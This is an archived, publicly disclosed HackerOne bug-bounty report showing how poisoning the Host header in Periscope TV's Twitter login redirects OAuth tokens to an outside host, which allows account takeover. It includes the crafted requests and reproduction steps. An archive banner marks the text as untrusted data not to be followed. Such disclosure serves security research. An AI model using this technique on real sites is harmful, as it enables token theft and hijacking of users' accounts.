

X / xAI disclosed on HackerOne: Account Takeover in Periscope TV

X / xAI disclosed on HackerOne: Account Takeover in Periscope TV - Author not stated, HackerOne.

- Published: date not stated
- Original: <<https://hackerone.com/reports/317476>>
- Preserved from: <https://hackerone.com/reports/317476> (browser) on 2026-08-06
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Top 10 Web Hacking Techniques lists, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

212

[#317476](#)

Account Takeover in Periscope TV

Report

Summary by ngalog

[

[\[image: image\]](#)

](<https://hackerone.com/ngalog>)

Another way to exploit host header poisoning

Timeline

[

[\[image: ngalog\]](#)

](<https://hackerone.com/ngalog>)

[ngalog](#)

submitted a report to [X / xAI](#).

February 19, 2018, 3:28am UTC

Summary:

When you login periscope.tv using twitter, and change the host header from `www.periscope.tv` to `attacker.com/www.periscope.tv`, the oauth redirect destination will be `attacker.com/www.periscope.tv`,

thus allowing attacker to send the oauth authorize link to victim, and takeover their account after auto redirect.

Steps To Reproduce:

Visit <https://www.periscope.tv/> and click login with twitter, a request should appear

Code•266 Bytes

```
1GET /i/twitter/login?csrf=[REDACTED] HTTP/1.1 2Host: www.periscope.tv 3User-Agent:
[REDACTED] 4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,;q=0.8 5Accept-
Language: en-US,en;q=0.5 6Accept-Encoding: gzip, deflate 7Referer: https://www.periscope.tv/ 8cookie:
...
```

Change the host header to

```
Host: hackerone.com/www.periscope.tv
```

Full request

Code•282 Bytes

```
1GET /i/twitter/login?csrf=[REDACTED] HTTP/1.1 2Host: hackerone.com/www.periscope.tv 3User-
Agent: [REDACTED] 4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,;q=0.8
5Accept-Language: en-US,en;q=0.5 6Accept-Encoding: gzip, deflate 7Referer: https://www.periscope.tv/
8cookie: ...
```

Response should be something like

Code•140 Bytes

```
1<!DOCTYPE html> <html> <head> <meta http-equiv="refresh"
content="0;https://twitter.com/oauth/authenticate?oauth_token=[REDACTED]"> </head> </html>
```

Send this link to victim, after authorizing, victim's twitter oauth token and verifier is sent to hackerone.com, attacker could now reuse the same token to takeover victim's account.

Vimeo: <https://vimeo.com/256356501> password: [REDACTED]

Impact

Account Takeover for periscope.tv